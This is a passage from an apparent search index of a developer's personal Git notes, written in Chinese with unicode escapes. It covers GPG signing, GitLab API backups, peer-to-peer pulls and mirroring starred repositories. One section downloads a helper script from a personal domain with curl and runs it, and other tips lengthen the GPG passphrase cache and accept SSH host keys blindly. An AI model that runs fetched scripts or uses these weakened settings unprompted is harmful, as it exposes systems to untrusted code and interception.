<p>\\u6b64\\u65f6\\u662f\\u4e0d\\u4f1a\\u6267\\u884c\\u767b\\u5f55\\u811a\\u672c.profile\\u7684\\uff0c\\u4f46\\u662f.bashrc\\u8fd8\\u662f\\u4f1a\\u6267\\u884c\\u7684</p>\"},{\"location\":\"Git/#git_1\",\"title\":\"Git\\u5404\\u79cd\\u60c5\\u666f\",\"text\":\"<p>Learned from githug</p>\"},{\"location\":\"Git/#aliba\",\"title\":\"\\u5ffd\\u7565*.a\\u6587\\u4ef6\\u4f46\\u4e0d\\u60f3\\u5ffd\\u7565lib.a <p>\\u6587\\u6863\\u67e5\\u770b\\uff1a<code>git gitignore --help</code></p> <p>!\\u8868\\u793a\\u8d1f\\u5411\\u9009\\u62e9\\uff0c\\u5728.gitignore\\u4e2d\\u6dfb\\u52a0\\uff1a</p> <pre><code>*.a\\n!lib.a\\n</code></pre>\",\"text\":\"\"},{\"location\":\"Git/#commit\",\"title\":\"commit\\u8865\\u4e0a\\u5fd8\\u6389\\u7684\\u6587\\u4ef6 <p>\\u5982\\u679c\\u53d1\\u73b0\\u4e0a\\u6b21commit\\u6f0f\\u4e86\\u6587\\u4ef6\\uff0c\\u4e0d\\u5e94\\u8be5\\u65b0\\u52a0commit\\u800c\\u662f\\u5e94\\u8be5\\u7528amend\\uff0c\\u5426\\u5219\\u53ef\\u80fd\\u4e0aCI\\u5c31\\u6302</p> <pre><code>git add forgotten.txt\\ngit commit --amend\\n</code></pre>\",\"text\":\"\"},{\"location\":\"Git/#_4\",\"title\":\"\\u67e5\\u51fa\\u6b64\\u884c\\u4ee3\\u7801\\u7684\\u6700\\u540e\\u4fee\\u6539\\u8005 <p>github\\u63d0\\u4f9b\\u7684blame\\u529f\\u80fd\\u66f4\\u597d\\u770b\\uff0c\\u663e\\u793a\\u6bcf\\u884c\\u4ee3\\u7801\\u7684\\u4f5c\\u8005\\u548c\\u6765\\u6e90\\u4e8e\\u54ea\\u6b21commit</p> <pre><code>git blame filename\\n</code></pre>\",\"text\":\"\"},{\"location\":\"Git/#commit_1\",\"title\":\"\\u6587\\u4ef6\\u4e00\\u6b21\\u6027\\u6539\\u592a\\u591a\\u4e86\\uff0c\\u62c6\\u6210\\u591a\\u6b21commit <p>\\u8ba9\\u6bcf\\u6b21commit\\u4fdd\\u6301\\u5728\\u6bd4\\u8f83\\u5c0f\\u7684\\u6539\\u52a8\\uff0c\\u4e0d\\u8981\\u5728\\u4e00\\u4e2acommit\\u4e2d\\u51fa\\u73b0\\u4e24\\u4e2a\\u4e0d\\u90a3\\u4e48\\u76f8\\u5173\\u7684\\u4fee\\u6539</p> <p>\\u672c\\u77e5\\u8bc6\\u5b66\\u4e60\\u81ea\\uff1a10 \\u4e2a\\u8fc5\\u901f\\u63d0\\u5347\\u4f60 Git \\u6c34\\u5e73\\u7684\\u63d0\\u793a</p> <p>\\u65b9\\u6cd5\\u662f\\u5728add\\u7684\\u65f6\\u5019\\u7ed9\\u51fa\\u53c2\\u6570-p</p> <p>\\u7136\\u540egit\\u4f1a\\u5728\\u6bcf\\u4e00\\u4e2a\\u4fee\\u6539\\u7684block\\u8be2\\u95ee\\u662f\\u5426\\u52a0\\u5165\\u8fd9\\u6b21\\u7684commit\\uff0c\\u56de\\u7b54y\\u8868\\u793a\\u52a0\\u5165\\uff0cn\\u8868\\u793a\\u4e0d\\u52a0\\u5165\\uff0cs\\u8868\\u793a\\u8fdb\\u4e00\\u6b65\\u62c6\\u5206\\u8fd9\\u4e2ablock</p> <p>\\u5b8c\\u6210\\u597d\\u9009\\u62e9\\u540e\\uff0c\\u4f7f\\u7528<code>git diff --staged</code>\\u547d\\u4ee4\\u6765\\u67e5\\u8be2\\u6682\\u5b58\\u7684\\u4fee\\u6539\\uff0c\\u6ca1\\u6709\\u95ee\\u9898\\u5c31\\u53ef\\u4ee5\\u7ee7\\u7eed<code>git commit</code>\\u5566</p>\",\"text\":\"\"},{\"location\":\"Git/#_5\",\"title\":\"\\u672c\\u5730\\u5ffd\\u7565\\u4e00\\u4e9b\\u4e2a\\u4eba\\u7684\\u4fee\\u6539 <p>\\u539f\\u6587\\uff1a http://stackoverflow.com/questions/1753070/git-ignore-files-only-locally</p> <p>\\u6709\\u65f6\\u5019\\u6211\\u4eec\\u4e0d\\u60f3\\u8ba9git\\u8ffd\\u8e2a\\u4e00\\u4e9b\\u4e2a\\u4eba\\u76f8\\u5173\\u7684\\u6587\\u4ef6\\uff0c\\u4f8b\\u5982config\\u4e2d\\u4fee\\u6539Debug=True\\uff0c\\u6b64\\u65f6\\u5982\\u679c\\u53bb\\u4fee\\u6539.gitignore\\u9020\\u6210\\u7684\\u5f71\\u54cd\\u662f\\u5168\\u5c40\\u7684\\uff0c\\u5e76\\u4e14\\u9700\\u8981\\u4ecegit\\u4e2d\\u5220\\u9664\\u8fd9\\u4e2a\\u6587\\u4ef6\\uff1b\\u624b\\u52a8\\u907f\\u5f00add config\\u5f88\\u70e6\\uff0c\\u6709\\u6ca1\\u6709\\u66f4\\u597d\\u7684\\u65b9\\u6cd5\\uff0c\\u8ba9git\\u5ffd\\u7565\\u6389config\\u6587\\u4ef6\\u7684\\u4fee\\u6539\\u5462\\uff1f</p> <p>\\u65b9\\u6cd5\\u662f\\u4fee\\u6539<code>.git/info/exclude</code>\\u6587\\u4ef6\\uff0c\\u8fd9\\u4e2a\\u6587\\u4ef6\\u7684\\u8bed\\u6cd5\\u89c4\\u5219\\u4e0e.gitignore\\u4e00\\u6837</p> <p>\\u5982\\u679c\\u5df2\\u7ecf\\u9020\\u6210\\u4e86\\u4fee\\u6539\\uff0c\\u8fd8\\u9700\\u8981\\u6267\\u884c\\u4ee5\\u4e0b\\u547d\\u4ee4\\uff1a</p> <pre><code>git update-index --assume-unchanged [&lt;file&gt;...]\\n</code></pre>\",\"text\":\"\"},{\"location\":\"Git/#branchpushgit-push-u\",\"title\":\"\\u672c\\u5730\\u521b\\u5efabranch\\u540epush\\u64cd\\u4f5cgit push -u <p>From: http://stackoverflow.com/questions/2765421/how-do-i-push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too</p> <p>\\u6267\\u884c\\u4e86\\u4e00\\u4e9b\\u4fee\\u6539\\u5f15\\u5165\\u65b0\\u529f\\u80fd\\uff0c\\u4f46\\u8fd8\\u4e0d\\u80fd\\u5de5\\u4f5c\\uff0c\\u51b3\\u5b9a\\u5efa\\u7acb\\u4e00\\u4e2adev\\u5206\\u652f\\uff1a</p> <pre><code>git checkout -b dev\\n</code></pre> <p>\\u73b0\\u5728\\u518d\\u6267\\u884c<code>git add</code>\\uff0c<code>git commit</code>\\u540e\\uff0c\\u9700\\u8981\\u628a\\u65b0\\u7684\\u5206\\u652fpush\\u7ed9\\u8fdc\\u7a0b\\u670d\\u52a1\\u5668\\uff1a</p> <pre><code>git push -u origin dev\\n</code></pre>\",\"text\":\"\"},{\"location\":\"Git/#gpggit\",\"title\":\"\\u7528gpg\\u7ed9git\\u63d0\\u4ea4\\u7b7e\\u540d\",\"text\":\"<p>\\u53c2\\u8003\\uff1ahttps://help.github.com/articles/signing-commits-with-gpg/</p> <p>\\u4e0b\\u8ff0\\u4ee5ubuntu16.04\\uff08\\u5176\\u5b9e\\u662fbash on win10\\uff09\\u8bb2\\u89e3\\u6574\\u4e2a\\u8fc7\\u7a0b</p>\"},{\"location\":\"Git/#gpg2\",\"title\":\"\\u5b89\\u88c5gpg2 <p>\\u67e5\\u770bgpg\\u7248\\u672c\\uff1a<code>gpg --version</code>\\u53d1\\u73b0\\u7248\\u672c\\u662f<code>gpg (GnuPG) 1.4.20</code>\\uff0c\\u800c\\u6559\\u7a0b\\u8981\\u6c42\\u89812\\u4ee5\\u4e0a\\uff0c\\u6240\\u4ee5\\u5148\\u8981\\u5b89\\u88c5gpg2\\uff0c\\u5e76\\u544a\\u8bc9git\\u6211\\u4eec\\u8981\\u4f7f\\u7528gpg2\\uff1a</p> <pre><code>apt install -y gpg2\\ngit config --global gpg.program gpg2\\n</code></pre>\",\"text\":\"\"},{\"location\":\"Git/#key\",\"title\":\"\\u521b\\u5efa\\u4e00\\u4e2a\\u65b0\\u7684key <p>\\u8fd9\\u91ccgithub\\u7ed9\\u51fa\\u7684\\u547d\\u4ee4\\u6709\\u95ee\\u9898\\uff0cgoogle\\u53d1\\u73b0\\u53c2\\u6570\\u6539\\u4e86</p> <pre><code>gpg2 --full-gen-key\\n</code></pre> <p>\\u56de\\u8f66\\u9009\\u62e9RSA and RSA\\uff0c\\u7136\\u540e\\u8f93\\u5165\\u5bc6\\u94a5\\u5927\\u5c0f\\u8f93\\u51654096\\uff0c\\u7136\\u540e\\u56de\\u8f66\\u6c38\\u4e0d\\u8fc7\\u671f\\uff0c\\u786e\\u8ba4y\\uff0c\\u7136\\u540e\\u8f93\\u5165\\u81ea\\u5df1\\u7684\\u540d\\u5b57\\u548c\\u90ae\\u7bb1 \\u6ce8\\u610f\\u8fd9\\u91cc\\u90ae\\u7bb1\\u8981\\u548cgit commit\\u7528\\u5230\\u7684\\u90ae\\u7bb1\\u4e00\\u81f4</p>\",\"text\":\"\"},{\"location\":\"Git/#key-github\",\"title\":\"\\u5bfc\\u51fakey\\u7684\\u516c\\u94a5 \\u5728github\\u8bbe\\u7f6e\\u4e2d\\u63d0\\u4ea4 <pre><code>gpg2 --list-secret-keys --keyid-format LONG\\n</code></pre> <p>\\u5982\\u4e0b\\u8f93\\u51fa\\u4e2d\\uff0c\\u6211\\u4eec\\u9700\\u8981\\u7684\\u662f3AA5C34371567BD2\\u8fd9\\u4e00\\u4e32 \\u5c31\\u662fsec\\u90a3\\u4e00\\u884c\\u76844096R/\\u540e\\u9762\\u7684\\u4e1c\\u897f</p> <pre><code>$ gpg2 --list-secret-keys --keyid-format LONG\\n/Users/hubot/.gnupg/secring.gpg\\n------------------------------------\\nsec   4096R/3AA5C34371567BD2 2016-03-10 [expires: 2017-03-10]\\nuid                          Hubot \\nssb   4096R/42B317FD4BA89E7A 2016-03-10\\n</code></pre> <p>\\u7136\\u540e\\u5f97\\u5230\\u516c\\u94a5\\uff1a</p> <pre><code>gpg2 --armor --export 3AA5C34371567BD2\\n</code></pre> <p>\\u590d\\u5236\\u5c4f\\u5e55\\u4e0a\\u8f93\\u51fa\\u7684\\u4e00\\u5927\\u4e32\\uff0c\\u6253\\u5f00\\u4e0b\\u9762\\u7684\\u7f51\\u9875 \\u7c98\\u8d34\\u63d0\\u4ea4</p> <p>https://github.com/settings/gpg/new</p>\",\"text\":\"\"},{\"location\":\"Git/#gitgpg\",\"title\":\"\\u914d\\u7f6egit\\u4f7f\\u7528gpg\\u7b7e\\u540d <p>\\u544a\\u8bc9git\\u9ed8\\u8ba4\\u4f7f\\u7528\\u8fd9\\u4e2akey\\uff1a</p> <pre><code>git config --global user.signingkey 3AA5C34371567BD2\\ngit config --global commit.gpgsign true\\n</code></pre> <p>\\u6267\\u884c \\u5efa\\u8bae\\u5c06\\u8fd9\\u4e00\\u884c\\u5199\\u5165~/.bashrc\\uff1a</p> <pre><code>export GPG_TTY=$(tty)\\n</code></pre> <p>\\u7136\\u540e\\u5c31\\u662f\\u6b63\\u5e38\\u7684git add .\\uff0cgit commit -m \\u201cmessage\\u201d\\u54af</p> <p>gpg-agent\\u4f1a\\u5728\\u540e\\u53f0\\u8fd0\\u884c\\uff0c\\u9ed8\\u8ba410\\u5206\\u949f\\u5185\\u4e0d\\u9700\\u8981\\u518d\\u6b21\\u8f93\\u5165\\u5bc6\\u7801</p>\",\"text\":\"\"},{\"location\":\"Git/#gpg\",\"title\":\"\\u4fee\\u6539gpg\\u8981\\u6c42\\u518d\\u6b21\\u8f93\\u5165\\u5bc6\\u7801\\u7684\\u65f6\\u95f4\\u9650\\u5236 <p>10\\u5206\\u949f\\u7684\\u9ed8\\u8ba4\\u9650\\u5236\\u8fd8\\u662f\\u592a\\u77ed\\u4e86\\uff0c\\u5bf9\\u4e8e\\u5b89\\u5168\\u6027\\u8981\\u6c42\\u4e0d\\u9ad8\\u7684\\u60c5\\u666f\\uff08\\u6bd4\\u5982\\u81ea\\u5df1\\u7684\\u5f00\\u6e90\\u4ee3\\u7801push\\u5230github\\uff09\\uff0c\\u4e0d\\u59a8\\u8bbe\\u7f6e\\u4e3a\\u5bc6\\u7801\\u4e00\\u76f4\\u6709\\u6548\\uff0c\\u76f4\\u5230gpg-agent\\u91cd\\u542f</p> <p>\\u4e0b\\u9762\\u7684\\u8bbe\\u7f6e\\u5c06\\u9650\\u5236\\u6539\\u52301\\u5e74\\uff0c\\u5f53\\u7136gpg-agent\\u91cd\\u542f\\u8fd8\\u662f\\u8981\\u518d\\u6b21\\u8f93\\u5165\\u5bc6\\u7801\\u7684\\uff1a</p> <pre><code>vi ~/.gnupg/gpg-agent.conf\\n\\ndefault-cache-ttl 34560000\\nmax-cache-ttl 34560000\\n</code></pre>\",\"text\":\"\"},{\"location\":\"Git/#gitlab-api\",\"title\":\"\\u4f7f\\u7528GitLab API\\u5b58\\u50a8\\u6570\\u636e\\u5907\\u4efd\\u6587\\u4ef6 \\u4e0d\\u5360\\u7528\\u672c\\u5730\\u7a7a\\u95f4\",\"text\":\"<p>\\u8fd9\\u91cc\\u7684\\u9700\\u6c42\\u662f\\u5b9a\\u65f6\\u4efb\\u52a1\\u751f\\u6210snapshot\\u6587\\u4ef6\\uff0c\\u6253\\u7b97\\u4f20\\u81f3\\u514d\\u8d39\\u5b58\\u50a8\\u4f5c\\u4e3a\\u5907\\u4efd\\uff0c\\u4e0d\\u60f3\\u5360\\u7528\\u670d\\u52a1\\u5668\\u786c\\u76d8\\u53bb\\u5b58\\u50a8\\u8fd9\\u4e2a\\u6587\\u4ef6\\uff0c\\u4e5f\\u4e0d\\u60f3\\u82b1\\u94b1\\u4e70\\u5b58\\u50a8\\u670d\\u52a1</p> <p>\\u4e8e\\u662f\\u60f3\\u5230\\u514d\\u8d39\\u7684gitlab.com\\u7684\\u79c1\\u6709\\u4ed3\\u5e93\\uff0c\\u4ed3\\u5e93\\u6570\\u91cf\\u65e0\\u9650\\uff0c\\u6bcf\\u4e2arepo\\u53ef\\u4ee5\\u5b5810GB</p> <p>\\u4f7f\\u7528API\\u6765\\u63d0\\u4ea4\\u53ef\\u4ee5\\u907f\\u514d\\u5360\\u7528\\u672c\\u5730\\u7a7a\\u95f4</p> <p>\\u5176\\u5b9e\\u672c\\u6765\\u6253\\u7b97\\u7528github\\u7684\\uff0c\\u4f46\\u662fgithub\\u4eca\\u5929(20181022)\\u6302\\u4e86\\uff0c\\u4e8e\\u662f\\u5c31gitlab\\u5427</p> <p>\\u627e\\u5230\\u8fd9\\u4e2apython sdk: https://python-gitlab.readthedocs.io/</p> <p>\\u5199\\u70b9\\u4ee3\\u7801\\u54af\\uff1a\\u4e0a\\u4f20\\u5f53\\u524d\\u76ee\\u5f55\\u7684to_upload.jpg\\u5230uploaded.jpg\\uff0c\\u8bb0\\u5f97\\u76f8\\u5e94\\u4fee\\u6539\\u4f60\\u7684\\u8bbf\\u95ee\\u4ee4\\u724c\\u548c\\u9879\\u76eeID</p> <pre><code>TOKEN = '...' # personal access token, https://gitlab.com/profile/personal_access_tokens\\nREPO_ID = 123456 # after create project, you can see project ID in your repo homepage\\nmessage = 'test commit'\\ntarget_filename = 'uploaded.jpg'\\nsrc_filename = 'to_upload.jpg'\\n\\nimport gitlab\\nimport base64\\ngl=gitlab.Gitlab('https://gitlab.com',private_token=TOKEN)\\ngl.auth()\\np=gl.projects.get(REPO_ID)\\nfilecontent = open(src_filename, 'rb').read()\\ndata={\\n    'branch_name':'master', \\n    'branch':'master', \\n    'commit_message':message,\\n    'actions':[{'action':'create','file_path':target_filename,\\n                'content':base64.b64encode(filecontent).decode(),\\n                'encoding': 'base64'}]\\n}\\nc=p.commits.create(data)\\nprint(c)\\n</code></pre>\"},{\"location\":\"Git/#gitgit-pull\",\"title\":\"\\u5728git\\u670d\\u52a1\\u5668\\u65e0\\u6cd5\\u8fde\\u63a5\\u65f6\\u70b9\\u5bf9\\u70b9git pull\",\"text\":\"<p>\\u60c5\\u666f\\uff1a\\u5ba2\\u6237\\u7aefA\\u548cB\\u4f7f\\u7528gitlab\\u670d\\u52a1\\u5668S\\uff0c\\u7136\\u540e\\u67d0\\u5929S\\u65e0\\u6cd5\\u8fde\\u4e0a\\u4e86\\uff0c\\u4f46A\\u548cB\\u4e4b\\u95f4\\u53ef\\u4ee5\\u76f4\\u63a5\\u901a\\u8baf\\u3002B\\u4e0a\\u5f00\\u53d1\\u4e86\\u65b0\\u4ee3\\u7801\\uff0c\\u60f3\\u8ba9A\\u83b7\\u53d6\\u5230\\u8fd9\\u4e2a\\u66f4\\u65b0\\uff0c\\u5982\\u4f55\\u6700\\u65b9\\u4fbf\\u7b80\\u5355\\u5730\\u5728A\\u4e0a\\u540c\\u6b65B\\u4e0a\\u7684\\u4ee3\\u7801\\u66f4\\u65b0\\u5462\\uff1f</p> <p>\\u89e3\\u51b3\\u65b9\\u6848\\uff1a\\u7528python\\u5f00\\u4e2a\\u7b80\\u5355\\u7684http\\u670d\\u52a1\\u5668\\u7136\\u540e\\u6dfb\\u52a0http\\u7684remote\\u8fdb\\u884cpull\\uff0c\\u6ce8\\u610f\\u5148\\u8981\\u8ba9git\\u89e3\\u538bpack\\u6587\\u4ef6</p> <pre><code>git update-server-info\\npython3 -m http.server 6666\\ngit remote add tmp http://ip-b:6666/.git/\\ngit pull tmp master\\n</code></pre> <p>\\u95ee\\u9898\\u6765\\u4e86\\uff1a\\u5982\\u679cA\\u8bbf\\u95ee\\u4e0d\\u4e86B\\u600e\\u4e48\\u529e\\u5462\\uff1f\\u901a\\u8fc7<code>git format-patch HEAD~2..HEAD --stdout&gt;patchfile</code>\\u751f\\u6210patch\\u6587\\u4ef6\\u518d\\u53d1\\u8fc7\\u53bb<code>git am patchfile</code>\\uff0c\\u4f46\\u8fd9\\u6837\\u53ef\\u80fd\\u4f1a\\u6539\\u53d8commit id</p>\"},{\"location\":\"Git/#git_2\",\"title\":\"git\\u7981\\u7528\\u538b\\u7f29\",\"text\":\"<p>\\u5982\\u4e8c\\u8fdb\\u5236\\u7684\\u4ed3\\u5e93\\u4e0d\\u60f3\\u4f7f\\u7528\\u538b\\u7f29\\uff0c\\u53c2\\u8003: https://stackoverflow.com/questions/11483288/how-to-disable-compression-in-git-server-side</p> <pre><code>git config --add core.bigFileThreshold 1\\n</code></pre>\"},{\"location\":\"Git/#githubssh-key-ghclone\",\"title\":\"GitHub\\u4e0d\\u540c\\u4ed3\\u5e93\\u4f7f\\u7528\\u4e0d\\u540cssh key: ghclone\",\"text\":\"<p>GitHub\\u8981\\u6c42\\u4e0d\\u540c\\u4ed3\\u5e93\\u7684deploy key\\u4e0d\\u540c\\uff0c\\u4f46ssh config\\u53ea\\u80fd\\u4e3a\\u4e00\\u4e2aHost\\u8bbe\\u7f6e\\u76f8\\u540c\\u7684key</p> <p>\\u4ece\\u8fd9\\u91cc\\u53d1\\u73b0\\u4e86\\u4e00\\u4e2atrick\\uff1a<code>*.github.com</code>\\u90fd\\u662f\\u53ef\\u4ee5\\u6b63\\u5e38\\u89e3\\u6790\\u5230github\\u7684\\uff0c\\u8fd9\\u6837\\u5c31\\u5f97\\u5230\\u4e86\\u65e0\\u6570\\u4e2aHost</p> <p>\\u5feb\\u901f\\u4f7f\\u7528\\uff1a</p> <pre><code>curl https://d.py3.io/ghclone &gt; /usr/local/bin/ghclone\\nchmod +x /usr/local/bin/ghclone\\nghclone user/repo\\n</code></pre> <p>\\u4f1a\\u4e3a\\u8fd9\\u4e2arepo\\u521b\\u5efa\\u4e00\\u4e2assh key\\u653e\\u5728<code>~/.ssh</code>\\u76ee\\u5f55\\u4e0b\\uff0c\\u540c\\u65f6\\u4fee\\u6539<code>~/.ssh/config</code>\\uff0c\\u7136\\u540e\\u663e\\u793a\\u51fa\\u516c\\u94a5\\uff0c\\u9700\\u8981\\u624b\\u52a8\\u6dfb\\u52a0\\u5230github\\uff0c\\u6700\\u540e\\u56de\\u8f66\\u5c31\\u4f1a\\u5f00\\u59cbgit clone</p> <p>Done.</p> <p>\\u5982\\u679c\\u662f\\u4e00\\u4e2a\\u5df2\\u7ecf\\u5b58\\u5728\\u7684\\u4ed3\\u5e93\\uff0c\\u6700\\u540e\\u4e00\\u6b65\\u4e0d\\u7528\\u56de\\u8f66Ctrl+C\\u540e:</p> <pre><code>git remote set-url origin git@{repo}.github.com:{user}/{repo}.git\\n</code></pre>\"},{\"location\":\"Git/#git_3\",\"title\":\"\\u542f\\u52a8\\u4e00\\u4e2a\\u4e34\\u65f6\\u7684Git\\u670d\\u52a1\\u5668 \\u672c\\u5730\\u4e4b\\u95f4\\u540c\\u6b65\",\"text\":\"<p>\\u573a\\u666f\\uff1a GitLab\\u670d\\u52a1\\u5668\\u5b95\\u673a\\u4e86\\uff0c\\u73b0\\u5728\\u9700\\u8981\\u540c\\u6b65\\u81ea\\u5df1\\u672c\\u5730\\u7684\\u4fee\\u6539\\u5230\\u670d\\u52a1\\u5668\\u4e0a</p> <p>\\u53c2\\u8003\\uff1a https://datagrok.org/git/git-serve/</p> <pre><code># \\u81ea\\u5df1\\u673a\\u5668\\u4e0a\\uff08\\u6709\\u66f4\\u591acommit\\u7684\\uff09\\ngit config --global alias.quickserve \\\"daemon --verbose --export-all --base-path=.git --reuseaddr --strict-paths .git/\\\"\\ngit quickserve\\n\\n# \\u670d\\u52a1\\u5668\\u4e0a\\uff08\\u9700\\u8981pull\\u5f97\\u5230commit\\u7684\\uff09\\ngit remote add temp git://192.168.1.123/\\ngit pull temp master\\n</code></pre> <p>\\u540c\\u6b65\\u5b8c\\u6210\\u540e\\u5c31\\u53ef\\u4ee5Ctrl+C\\u5173\\u95edgit\\u670d\\u52a1\\u4e86</p> <p>Note</p> <p>git\\u672b\\u5c3e\\u7684/\\u4e0d\\u53ef\\u7f3a\\u7701\\uff0c\\u4e0d\\u7136\\u62a5\\u9519fatal: No path specified. See \\u2018man git-pull\\u2019 for valid url syntax git pull\\u7684\\u5206\\u652f\\u540d\\u79f0master\\u4e5f\\u4e0d\\u80fd\\u7701\\u7565</p>\"},{\"location\":\"Git/#githubstar\",\"title\":\"\\u5907\\u4efdGitHub\\u4e0a\\u81ea\\u5df1star\\u8fc7\\u7684\\u4ed3\\u5e93\",\"text\":\"<p>\\u81ea\\u4eceGitHub\\u88ab\\u5fae\\u8f6f\\u6536\\u8d2d\\u540e\\uff0c\\u4f3c\\u4e4e\\u5c31\\u5d29\\u5f97\\u66f4\\u9891\\u7e41\\u4e86\\uff0c\\u4e3a\\u4e86\\u5728\\u8fd9\\u79cd\\u60c5\\u51b5\\u4e0b\\u4ecd\\u7136\\u80fd\\u8bfb\\u4ee3\\u7801\\uff0c\\u4e0d\\u59a8\\u8dd1\\u4e00\\u4e0b\\u5b9a\\u65f6\\u811a\\u672c\\uff0c\\u81ea\\u52a8pull\\u6307\\u5b9a\\u4ed3\\u5e93push\\u5230\\u5176\\u4ed6git\\u670d\\u52a1\\u4e0a\\uff08\\u5982\\u81ea\\u884c\\u90e8\\u7f72gitea\\uff09\\u3002</p> <p>\\u83b7\\u53d6\\u81ea\\u5df1star\\u8fc7\\u7684\\u6240\\u6709\\u4ed3\\u5e93\\uff1a\\uff08\\u4f9d\\u8d56<code>apt install -y jq</code>\\uff09</p> <pre><code>for i in `seq 28`; do curl \\\"https://api.github.com/users/zjuchenyuan/starred?page=${i}\\\" &gt;${i}.tmp; done\\ncat *.tmp |jq '.[].full_name' -r &gt; mystars.txt\\n</code></pre> <p>sync.sh: </p> <p>\\u4ecegithub clone\\u6216fetch\\u5bf9\\u5e94\\u7684\\u4ed3\\u5e93\\uff0c\\u7136\\u540epush\\u5230\\u81ea\\u5df1\\u7684git\\u670d\\u52a1\\u4e0a\\uff0c\\u8fd9\\u91cc\\u4f7f\\u7528bare\\u907f\\u514dcheckout\\u5bfc\\u81f4\\u7684\\u66f4\\u591a\\u7a7a\\u95f4\\u5360\\u7528</p> <p>TODO: \\u6ce8\\u610f\\u5230\\u4ecd\\u7136\\u662f\\u53cc\\u4efd\\u7684\\u7a7a\\u95f4\\u5360\\u7528\\uff08\\u540c\\u6b65\\u548cgitea\\u90fd\\u5b58\\u4e86\\uff09\\uff0c\\u9700\\u8981\\u770b\\u770b\\u80fd\\u4e0d\\u80fd\\u76f4\\u63a5\\u4ecegitea\\u7684git\\u5b58\\u50a8\\u53d1\\u8d77fetch\\u66f4\\u65b0</p> <pre><code>#!/bin/bash\\nu=`echo ${1}|cut -d/ -f1`\\nn=`echo ${1}|cut -d/ -f2`\\nif [ -z \\\"$u\\\" ] || [ -z \\\"$n\\\" ]; then\\necho Usage: $0 user/reponame\\n    exit 1\\nfi\\nif [ -d \\\"${u}_${n}\\\" ]; then\\ncd \\\"${u}_${n}\\\"\\ngit fetch --all\\n    git push --all sync\\nelse\\ngit clone https://github.com/${u}/${n} \\\"${u}_${n}\\\" --bare\\n    cd \\\"${u}_${n}\\\"\\ngit fetch --all\\n    git remote add sync git@\\u4f60\\u7684git\\u670d\\u52a1\\u5730\\u5740:\\u4f60\\u7684\\u7528\\u6237\\u540d/${u}_${n}.git\\n    git push --all sync\\nfi\\ncd ..\\n</code></pre>\"},{\"location\":\"Git/#git-clonepushsshyes\",\"title\":\"git clone\\u548cpush\\u907f\\u514d\\u8f93\\u5165ssh\\u8be2\\u95ee\\u7684yes\",\"text\":\"<pre><code>mkdir -p ~/.ssh\\nssh-keyscan \\u4f60\\u7684git\\u670d\\u52a1\\u5730\\u5740 &gt;&gt; ~/.ssh/known_host\\n</code></pre> <p>Note</p> <p>\\u8fd9\\u4e2a\\u65b9\\u6848\\u5e76\\u4e0d\\u5b89\\u5168\\uff0c\\u5bb9\\u6613\\u906d\\u53d7\\u4e2d\\u95f4\\u4eba\\u653b\\u51fb\\uff0c\\u4f60\\u5e94\\u8be5\\u4e8b\\u5148\\u5728\\u5b89\\u5168\\u7684\\u7f51\\u7edc\\u4e0b\\u83b7\\u53d6\\u6b63\\u786e\\u7684ssh key\\u540e\\u76f4\\u63a5\\u5c06\\u6307\\u7eb9\\u5199\\u5165known_host\\u3002 \\u4e0d\\u8fc7\\u5c31\\u7b97\\u4e0d\\u81ea\\u52a8\\u5316\\u4f60\\u4e5f\\u4f1a\\u81ea\\u5df1\\u56de\\u7b54yes\\uff0c\\u672c\\u8d28\\u4e0a\\u4e00\\u6837hhh</p>\"},{\"location\":\"Git/#gitea\",\"title\":\"\\u90e8\\u7f72gitea\",\"text\":\"<p>https://hub.docker.com/r/gitea/gitea</p> <p>\\u6309\\u7167\\u5b98\\u65b9\\u7ed9\\u51fa\\u7684docker-compose\\u90e8\\u7f72\\u5373\\u53ef\\uff0c\\u5b89\\u88c5\\u65f6\\u9700\\u8981\\u7559\\u5fc3\\uff1asmtp\\u7684host\\u9700\\u8981\\u5305\\u542b\\u7aef\\u53e3\\uff0c\\u767b\\u5f55\\u7528\\u6237\\u540d\\u662f\\u5b8c\\u6574\\u7684\\u90ae\\u7bb1</p> <p>\\u7136\\u540e\\u9700\\u8981\\u4fee\\u6539\\u914d\\u7f6e\\uff0c\\u5141\\u8bb8\\u7528\\u6237\\u5728push\\u4e00\\u4e2a\\u4e0d\\u5b58\\u5728\\u7684\\u4ed3\\u5e93\\u65f6\\u81ea\\u52a8\\u521b\\u5efa\\uff0c\\u53c2\\u89c1\\u8fd9\\u4e2aissue \\u548c conf\\u914d\\u7f6e\\u6587\\u6863</p> <p>\\u9700\\u8981\\u5728app.ini\\u7684<code>[repository]</code>\\u4e00\\u8282\\u4e2d\\u52a0\\u5165\\uff1a</p> <pre><code>ENABLE_PUSH_CREATE_USER = true\\nENABLE_PUSH_CREATE_ORG = true\\n</code></pre> <p>\\u5c0f\\u5fc3git bomb</p> <p>\\u5b9e\\u9645\\u6d4b\\u8bd5\\u53d1\\u73b0 \\u5bf9git bomb\\u8fd9\\u79cd\\u4ed3\\u5e93 checkout\\u5c31\\u4f1a\\u5360\\u6ee1\\u5168\\u90e8\\u5185\\u5b58 \\u5373\\u4f7f\\u4f7f\\u7528\\u4e0a\\u8ff0\\u811a\\u672c\\u53ea\\u540c\\u6b65bare\\u4ed3\\u5e93\\uff0cgitea\\u4f1a\\u542f\\u52a8git show\\u547d\\u4ee4\\uff0c\\u4ecd\\u7136\\u4f1a\\u70b8\\u5185\\u5b58\\uff08\\u4f46\\u4f3c\\u4e4ekill\\u6389\\u8fd9\\u4e2a\\u547d\\u4ee4\\u540e\\u7f51\\u9875\\u663e\\u793a\\u4e5f\\u662f\\u6b63\\u5e38\\u7684\\uff09</p>\"},{\"location\":\"Git/#gitcommit\",\"title\":\"Git\\u67e5\\u8be2\\u7279\\u5b9acommit\\u65f6\\u95f4\",\"text\":\"<p>https://stackoverflow.com/questions/3814926/git-commit-date</p> <p>\\u83b7\\u53d6\\u65f6\\u95f4\\u6233\\uff1a<code>git show -s --format=%ct COMMIT_ID</code></p>\"},{\"location\":\"Git/#githubreleases\",\"title\":\"GitHub\\u67e5\\u8be2\\u6240\\u6709releases\",\"text\":\"<p>https://docs.github.com/en/rest/reference/repos#releases</p> <p>https://api.github.com/repos/octocat/hello-world/releases?per_page=100&amp;page=1</p>\"},{\"location\":\"Git/#git-diff\",\"title\":\"git diff\\u663e\\u793a\\u4fee\\u6539\\u540e\\u884c\\u53f7\",\"text\":\"<p>\\u53c2\\u8003\\uff1a https://stackoverflow.com/questions/8259851/using-git-diff-how-can-i-get-added-and-modified-lines-numbers</p> <pre><code>diff-lines() {\\n    local path=\\n    local line=\\n    while read; do\\n        esc=$'\\\\033'\\n        if [[ $REPLY =~ ---\\\\ 